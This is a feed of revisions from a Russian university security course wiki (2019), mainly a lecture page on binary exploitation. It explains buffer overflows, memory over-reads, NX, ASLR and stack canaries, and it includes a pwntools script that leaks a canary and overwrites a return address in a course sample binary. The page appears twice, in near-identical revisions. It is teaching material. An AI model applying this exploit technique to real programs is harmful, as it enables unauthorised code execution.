		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=223</id>
		<title>Введение в практическую безопасность (2019)/Бинарная эксплуатация</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=223"/>
		<updated>2019-03-20T22:15:51Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* pwntools */ ссылка на архив с бинарями&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Уязвимости ==&lt;br /&gt;
&lt;br /&gt;
=== Переполнение буфера ===&lt;br /&gt;
Переполнение буфера (buffer overflow) происходит, когда программа не проверяет размер буфера должным образом при записи в него. Например, так делает печально известные функции &amp;lt;code&amp;gt;gets&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;, а также такое встречается и в пользовательском коде.&lt;br /&gt;
&lt;br /&gt;
Техника эксплуатации сильно зависит от того, где произошло переполнение.&lt;br /&gt;
&lt;br /&gt;
* Стек - интересными объектами являются адрес возврата функции (для return-to-xxx, ROP), сохраненные регистры (RBP для проведения stack pivot), соседние переменные.&lt;br /&gt;
* Глобальные переменные - соседние глобальные переменные, а в случае переполнения назад (underwrite) - GOT.&lt;br /&gt;
* Куча - соседние аллокации памяти, а также внутренние структуры данных, используемая аллокатором&amp;lt;ref&amp;gt;https://sourceware.org/glibc/wiki/MallocInternals&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;https://github.com/shellphish/how2heap&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;Техники эксплуатации структур данных аллокатора не рассматриваются на этом спецкурсе.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Buffer over-read ===&lt;br /&gt;
&lt;br /&gt;
Очень похоже по своей сути на переполнение буфера, однако при этом содержимое памяти за пределами буфера выводится пользователю.&lt;br /&gt;
&lt;br /&gt;
Обычно не приводит к чему-либо серьезному само по себе, однако может использоваться для обхода ASLR с целью эксплуатации других уязвимостей. А ещё см. нашумевший баг [[wikipedia:Heartbleed]].&lt;br /&gt;
&lt;br /&gt;
=== Uninitialized memory read ===&lt;br /&gt;
&lt;br /&gt;
Как следует из названия, чтение неинициализованной памяти. Как и в случае buffer over-read, там можно найти интересные данные.&lt;br /&gt;
&lt;br /&gt;
== Средства защиты ==&lt;br /&gt;
В программах на языках C и C++, скомпилированных современными компиляторами и работающих на современных ОС, присутствует большое число противодействий бинарным уязвимостям (mitigations).&lt;br /&gt;
&lt;br /&gt;
=== No execute (NX) ===&lt;br /&gt;
&lt;br /&gt;
Средства ОС и процессора позволяют гибко настраивать права доступа на страницы виртуальной памяти. Эти права доступа позволяют запрещать выполнять данные как инструкции процессора. Напрмер, даже если записать шеллкод на стек, в память, выделенную через &amp;lt;code&amp;gt;malloc&amp;lt;/code&amp;gt; или в статический глобальный буфер, при попытке выполнить этот код произойдет &amp;lt;code&amp;gt;SIGSEGV&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
На уровне пользовательской программы это реализовано флагом &amp;lt;code&amp;gt;prot&amp;lt;/code&amp;gt; в системных вызовах &amp;lt;code&amp;gt;mmap&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;mprotect&amp;lt;/code&amp;gt;. Сам пользовательский код редко использует эти системные вызовы напрямую: ядро системы, динамический загрузчик (&amp;lt;code&amp;gt;ld.so&amp;lt;/code&amp;gt;) и libc сами выделяют память с правильными правами доступа.&lt;br /&gt;
&lt;br /&gt;
Фактически это означает, что чтобы в таких условиях добиться выполнения произвольного кода (или хотя бы выходящего за спецификацию исходной программы), придется провести атаку переиспользования кода (code reuse) в том или ином виде. Например, переписать указатель на какую-то безобидную функцую на &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Посмотреть карту виртуальной памяти запущенного процесса можно при помощи программы &amp;lt;code&amp;gt;pmap&amp;lt;/code&amp;gt;, команды &amp;lt;code&amp;gt;info proc mappings&amp;lt;/code&amp;gt; в GDB, или &amp;lt;code&amp;gt;vmmap&amp;lt;/code&amp;gt; в GDB+PEDA.&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/NX_bit&lt;br /&gt;
&lt;br /&gt;
=== ASLR ===&lt;br /&gt;
&lt;br /&gt;
Чтобы затруднить атаки класса переиспользования кода (code reuse), такие как возврат в libc, адреса стека, кучи, и загрузки библиотек рандомизируются при каждом запуске программы. Это называется address space layout randomization.&lt;br /&gt;
&lt;br /&gt;
Например, если в программе есть уязвимость, позволяющая переписать указатель на функцию, вы не можете записать туда адрес функции &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt; просто потому, что вы не знаете адрес этой функции. Похожая ситуация будет, если есть указатель на какую-то структуру (например, содержащую в себе флаг &amp;lt;code&amp;gt;is_admin&amp;lt;/code&amp;gt;): возможно вы и можете создать фейковую структуру с правильными полями на стеке, но вы не знаете, по какому адресу она окажется, чтобы записать этот адрес в тот указатель.&lt;br /&gt;
&lt;br /&gt;
Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; возвращается куда-то в недра &amp;lt;code&amp;gt;__libc_start_main&amp;lt;/code&amp;gt;, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.&lt;br /&gt;
&lt;br /&gt;
Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано &amp;lt;code&amp;gt;0x00400000&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Проверить наличие PIE можно при помощи следующей команды pwntools. ASLR же для стека, кучи и библиотек при этом присутствует в любом случае.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pwn checksec /bin/bash&lt;br /&gt;
[*] &#039;/bin/bash&#039;&lt;br /&gt;
    Arch:     amd64-64-little&lt;br /&gt;
    RELRO:    Partial RELRO&lt;br /&gt;
    Stack:    Canary found&lt;br /&gt;
    NX:       NX enabled&lt;br /&gt;
    PIE:      PIE enabled&lt;br /&gt;
    FORTIFY:  Enabled&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Address_space_layout_randomization&lt;br /&gt;
&lt;br /&gt;
=== Stack canary ===&lt;br /&gt;
Stack canary (&amp;lt;code&amp;gt;-fstack-protector&amp;lt;/code&amp;gt;, stack smashing protector) - один из способов защиты от переполнения буфера на стеке.&lt;br /&gt;
&lt;br /&gt;
При переполнении буфера освовную опасность представляет перезапись адреса возврата функции. От этого канарейка и защищает.&lt;br /&gt;
&lt;br /&gt;
В прологе функции за адресом возврата&amp;lt;ref&amp;gt;Иногда и перед потенциально опасными локальными переменными, как то указатели на функции.&amp;lt;/ref&amp;gt; на стек сохраняется специальное секретное значение, которое проверяется при выходе из функции. Если оно изменилось, то значит произошло переполнение буфера на стеке, и программа немедленно завершается, не выполняя инструкцию ret.&lt;br /&gt;
&lt;br /&gt;
В glibc канарейка генерируется один раз при запуске программы, и никогда не меняется. Если есть уязвимость, позволяющая прочесть значение канарейки, то её можно обойти, просто записывая поверх канарейки её значение. Однако алгоритм генерации всегда включает в значение нулевой байт, что может усложнить эксплуатацию при помощи строковых функций типа &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
В HexRays проверка канарейки декомпилируется неправильно. Но всегда, когда вы видите &amp;lt;code&amp;gt;__readfsqword(0x28u)&amp;lt;/code&amp;gt;, можете быть увереными, что это оно. Если хотите посмотреть корректный код, смотрите дизассемблер.&lt;br /&gt;
&lt;br /&gt;
* https://wiki.osdev.org/Stack_Smashing_Protector&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== pwntools ===&lt;br /&gt;
&lt;br /&gt;
pwntools - удобная библиотека-фреймворк для написания эксплоитов.&lt;br /&gt;
&lt;br /&gt;
http://docs.pwntools.com/en/stable/index.html&lt;br /&gt;
&lt;br /&gt;
Эксплоит для примера &amp;lt;code&amp;gt;example_1.5_gets&amp;lt;/code&amp;gt;, разбираемого на задании ([[Media:2019 pwn samples.zip]]):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
from pwn import *&lt;br /&gt;
&lt;br /&gt;
# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal&lt;br /&gt;
# or just run in tmux and everything will work&lt;br /&gt;
#context.terminal = [&amp;quot;xterm&amp;quot;, &amp;quot;-e&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
p = process([&amp;quot;stdbuf&amp;quot;, &amp;quot;-i0&amp;quot;, &amp;quot;-o0&amp;quot;, &amp;quot;./example_1.5_gets&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
#gdb.attach(p) # &amp;lt;- uncomment to enable debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;128&amp;quot;)&lt;br /&gt;
p.sendline(&amp;quot;aaaa&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
#p.interactive()&lt;br /&gt;
&lt;br /&gt;
p.recvuntil(&amp;quot;Hello, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = p.recvuntil(&amp;quot;Enter password&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print hexdump(data)&lt;br /&gt;
&lt;br /&gt;
canary = data[40:48]&lt;br /&gt;
&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 40&lt;br /&gt;
payload += canary&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 24&lt;br /&gt;
payload += p64(0x400B33) # &amp;lt;- try to set it to 0xdeadbeef and see what happens in debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(payload)&lt;br /&gt;
&lt;br /&gt;
p.interactive()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)&amp;diff=222</id>
		<title>Введение в практическую безопасность (2019)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)&amp;diff=222"/>
		<updated>2019-03-20T22:10:16Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Реверс-инжиниринг и бинарная эксплуатация */ /Бинарная эксплуатация&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Введение в практическую безопасность&#039;&#039;&#039; — математический спецкурс по выбору, читается лабораторией интеллектуальных систем кибербезопасности (ЛИСК) кафедры информационной безопасности (ИБ) факультета ВМК.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: каждый вторник, 18:05, с 12 февраля 2019&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 685, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
* &#039;&#039;&#039;Чат&#039;&#039;&#039;: https://t.me/joinchat/B4hXs1Z5I6qEtns9fjgbfg или Matrix [https://matrix.to/#/#7fZs5vxGhmxS5KPHDTatYQ:torlan.ru #7fZs5vxGhmxS5KPHDTatYQ:torlan.ru]&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью, в особенности — студентам 2-го курса, планирующим распределиться в лабораторию. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты на курсе:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания вместе дадут &#039;&#039;&#039;3000&#039;&#039;&#039;. Гарантируется, что 3000 и больше будут давать оценку &amp;quot;отлично&amp;quot;. Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Кстати, у нас есть CTF-команда [[Bushwhackers]], приглашаем вас поиграть с нами!&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
* [[Введение_в_практическую_безопасность_(2019)/Задания_по_вебу|Задания по вебу]]&lt;br /&gt;
* [[/Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей|Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
* [[Введение_в_практическую_безопасность_(2019)/HTTP,_инструменты_%26_SQL_injection|HTTP, инструменты и SQL injection]] - по теме первого занятия по веб-безопасности&lt;br /&gt;
* [[Введение_в_практическую_безопасность_(2019)/Эксплуатация_SQL_injection|Эксплуатация SQL injection]] и [[Введение_в_практическую_безопасность_(2019)/Небезопасная_загрузка_файлов|Небезопасная загрузка файлов]] - по теме второго занятия по веб-безопасности&lt;br /&gt;
* [[Введение_в_практическую_безопасность_(2019)/Атаки_на_клиента_веб-приложения_-_CSRF_&amp;amp;_XSS|Атаки на клиента веб-приложения - CSRF и XSS]] - по теме третьего занятия по веб-безопасности&lt;br /&gt;
&lt;br /&gt;
Также может быть полезным [[Введение_в_практическую_безопасность_(2019)/Свой_тестовый_веб-сервер|как поднять свой тестовый веб-сервер]].&lt;br /&gt;
&lt;br /&gt;
Еще про веб-безопасность - Веб-безопасность 101. Курс молодого бойца от Андрея Петухова https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[/Реверс-инжиниринг|Реверс-инжиниринг]]&lt;br /&gt;
* [[/Бинарная эксплуатация|Бинарная эксплуатация]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=221</id>
		<title>Введение в практическую безопасность (2019)/Бинарная эксплуатация</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=221"/>
		<updated>2019-03-20T22:09:11Z</updated>

		<summary type="html">&lt;p&gt;WGH: материалы про бинарщину&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Уязвимости ==&lt;br /&gt;
&lt;br /&gt;
=== Переполнение буфера ===&lt;br /&gt;
Переполнение буфера (buffer overflow) происходит, когда программа не проверяет размер буфера должным образом при записи в него. Например, так делает печально известные функции &amp;lt;code&amp;gt;gets&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;, а также такое встречается и в пользовательском коде.&lt;br /&gt;
&lt;br /&gt;
Техника эксплуатации сильно зависит от того, где произошло переполнение.&lt;br /&gt;
&lt;br /&gt;
* Стек - интересными объектами являются адрес возврата функции (для return-to-xxx, ROP), сохраненные регистры (RBP для проведения stack pivot), соседние переменные.&lt;br /&gt;
* Глобальные переменные - соседние глобальные переменные, а в случае переполнения назад (underwrite) - GOT.&lt;br /&gt;
* Куча - соседние аллокации памяти, а также внутренние структуры данных, используемая аллокатором&amp;lt;ref&amp;gt;https://sourceware.org/glibc/wiki/MallocInternals&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;https://github.com/shellphish/how2heap&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;Техники эксплуатации структур данных аллокатора не рассматриваются на этом спецкурсе.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Buffer over-read ===&lt;br /&gt;
&lt;br /&gt;
Очень похоже по своей сути на переполнение буфера, однако при этом содержимое памяти за пределами буфера выводится пользователю.&lt;br /&gt;
&lt;br /&gt;
Обычно не приводит к чему-либо серьезному само по себе, однако может использоваться для обхода ASLR с целью эксплуатации других уязвимостей. А ещё см. нашумевший баг [[wikipedia:Heartbleed]].&lt;br /&gt;
&lt;br /&gt;
=== Uninitialized memory read ===&lt;br /&gt;
&lt;br /&gt;
Как следует из названия, чтение неинициализованной памяти. Как и в случае buffer over-read, там можно найти интересные данные.&lt;br /&gt;
&lt;br /&gt;
== Средства защиты ==&lt;br /&gt;
В программах на языках C и C++, скомпилированных современными компиляторами и работающих на современных ОС, присутствует большое число противодействий бинарным уязвимостям (mitigations).&lt;br /&gt;
&lt;br /&gt;
=== No execute (NX) ===&lt;br /&gt;
&lt;br /&gt;
Средства ОС и процессора позволяют гибко настраивать права доступа на страницы виртуальной памяти. Эти права доступа позволяют запрещать выполнять данные как инструкции процессора. Напрмер, даже если записать шеллкод на стек, в память, выделенную через &amp;lt;code&amp;gt;malloc&amp;lt;/code&amp;gt; или в статический глобальный буфер, при попытке выполнить этот код произойдет &amp;lt;code&amp;gt;SIGSEGV&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
На уровне пользовательской программы это реализовано флагом &amp;lt;code&amp;gt;prot&amp;lt;/code&amp;gt; в системных вызовах &amp;lt;code&amp;gt;mmap&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;mprotect&amp;lt;/code&amp;gt;. Сам пользовательский код редко использует эти системные вызовы напрямую: ядро системы, динамический загрузчик (&amp;lt;code&amp;gt;ld.so&amp;lt;/code&amp;gt;) и libc сами выделяют память с правильными правами доступа.&lt;br /&gt;
&lt;br /&gt;
Фактически это означает, что чтобы в таких условиях добиться выполнения произвольного кода (или хотя бы выходящего за спецификацию исходной программы), придется провести атаку переиспользования кода (code reuse) в том или ином виде. Например, переписать указатель на какую-то безобидную функцую на &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Посмотреть карту виртуальной памяти запущенного процесса можно при помощи программы &amp;lt;code&amp;gt;pmap&amp;lt;/code&amp;gt;, команды &amp;lt;code&amp;gt;info proc mappings&amp;lt;/code&amp;gt; в GDB, или &amp;lt;code&amp;gt;vmmap&amp;lt;/code&amp;gt; в GDB+PEDA.&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/NX_bit&lt;br /&gt;
&lt;br /&gt;
=== ASLR ===&lt;br /&gt;
&lt;br /&gt;
Чтобы затруднить атаки класса переиспользования кода (code reuse), такие как возврат в libc, адреса стека, кучи, и загрузки библиотек рандомизируются при каждом запуске программы. Это называется address space layout randomization.&lt;br /&gt;
&lt;br /&gt;
Например, если в программе есть уязвимость, позволяющая переписать указатель на функцию, вы не можете записать туда адрес функции &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt; просто потому, что вы не знаете адрес этой функции. Похожая ситуация будет, если есть указатель на какую-то структуру (например, содержащую в себе флаг &amp;lt;code&amp;gt;is_admin&amp;lt;/code&amp;gt;): возможно вы и можете создать фейковую структуру с правильными полями на стеке, но вы не знаете, по какому адресу она окажется, чтобы записать этот адрес в тот указатель.&lt;br /&gt;
&lt;br /&gt;
Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; возвращается куда-то в недра &amp;lt;code&amp;gt;__libc_start_main&amp;lt;/code&amp;gt;, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.&lt;br /&gt;
&lt;br /&gt;
Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано &amp;lt;code&amp;gt;0x00400000&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Проверить наличие PIE можно при помощи следующей команды pwntools. ASLR же для стека, кучи и библиотек при этом присутствует в любом случае.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pwn checksec /bin/bash&lt;br /&gt;
[*] &#039;/bin/bash&#039;&lt;br /&gt;
    Arch:     amd64-64-little&lt;br /&gt;
    RELRO:    Partial RELRO&lt;br /&gt;
    Stack:    Canary found&lt;br /&gt;
    NX:       NX enabled&lt;br /&gt;
    PIE:      PIE enabled&lt;br /&gt;
    FORTIFY:  Enabled&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Address_space_layout_randomization&lt;br /&gt;
&lt;br /&gt;
=== Stack canary ===&lt;br /&gt;
Stack canary (&amp;lt;code&amp;gt;-fstack-protector&amp;lt;/code&amp;gt;, stack smashing protector) - один из способов защиты от переполнения буфера на стеке.&lt;br /&gt;
&lt;br /&gt;
При переполнении буфера освовную опасность представляет перезапись адреса возврата функции. От этого канарейка и защищает.&lt;br /&gt;
&lt;br /&gt;
В прологе функции за адресом возврата&amp;lt;ref&amp;gt;Иногда и перед потенциально опасными локальными переменными, как то указатели на функции.&amp;lt;/ref&amp;gt; на стек сохраняется специальное секретное значение, которое проверяется при выходе из функции. Если оно изменилось, то значит произошло переполнение буфера на стеке, и программа немедленно завершается, не выполняя инструкцию ret.&lt;br /&gt;
&lt;br /&gt;
В glibc канарейка генерируется один раз при запуске программы, и никогда не меняется. Если есть уязвимость, позволяющая прочесть значение канарейки, то её можно обойти, просто записывая поверх канарейки её значение. Однако алгоритм генерации всегда включает в значение нулевой байт, что может усложнить эксплуатацию при помощи строковых функций типа &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
В HexRays проверка канарейки декомпилируется неправильно. Но всегда, когда вы видите &amp;lt;code&amp;gt;__readfsqword(0x28u)&amp;lt;/code&amp;gt;, можете быть увереными, что это оно. Если хотите посмотреть корректный код, смотрите дизассемблер.&lt;br /&gt;
&lt;br /&gt;
* https://wiki.osdev.org/Stack_Smashing_Protector&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== pwntools ===&lt;br /&gt;
&lt;br /&gt;
pwntools - удобная библиотека-фреймворк для написания эксплоитов.&lt;br /&gt;
&lt;br /&gt;
http://docs.pwntools.com/en/stable/index.html&lt;br /&gt;
&lt;br /&gt;
Пример эксплоита для примера &amp;lt;code&amp;gt;example_1.5_gets&amp;lt;/code&amp;gt;, разбираемого на задании:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
from pwn import *&lt;br /&gt;
&lt;br /&gt;
# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal&lt;br /&gt;
# or just run in tmux and everything will work&lt;br /&gt;
#context.terminal = [&amp;quot;xterm&amp;quot;, &amp;quot;-e&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
p = process([&amp;quot;stdbuf&amp;quot;, &amp;quot;-i0&amp;quot;, &amp;quot;-o0&amp;quot;, &amp;quot;./example_1.5_gets&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
#gdb.attach(p) # &amp;lt;- uncomment to enable debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;128&amp;quot;)&lt;br /&gt;
p.sendline(&amp;quot;aaaa&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
#p.interactive()&lt;br /&gt;
&lt;br /&gt;
p.recvuntil(&amp;quot;Hello, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = p.recvuntil(&amp;quot;Enter password&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print hexdump(data)&lt;br /&gt;
&lt;br /&gt;
canary = data[40:48]&lt;br /&gt;
&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 40&lt;br /&gt;
payload += canary&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 24&lt;br /&gt;
payload += p64(0x400B33) # &amp;lt;- try to set it to 0xdeadbeef and see what happens in debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(payload)&lt;br /&gt;
&lt;br /&gt;
p.interactive()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2019_pwn_samples.zip&amp;diff=220</id>
		<title>Файл:2019 pwn samples.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2019_pwn_samples.zip&amp;diff=220"/>
		<updated>2019-03-19T14:47:30Z</updated>

		<summary type="html">&lt;p&gt;WGH: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
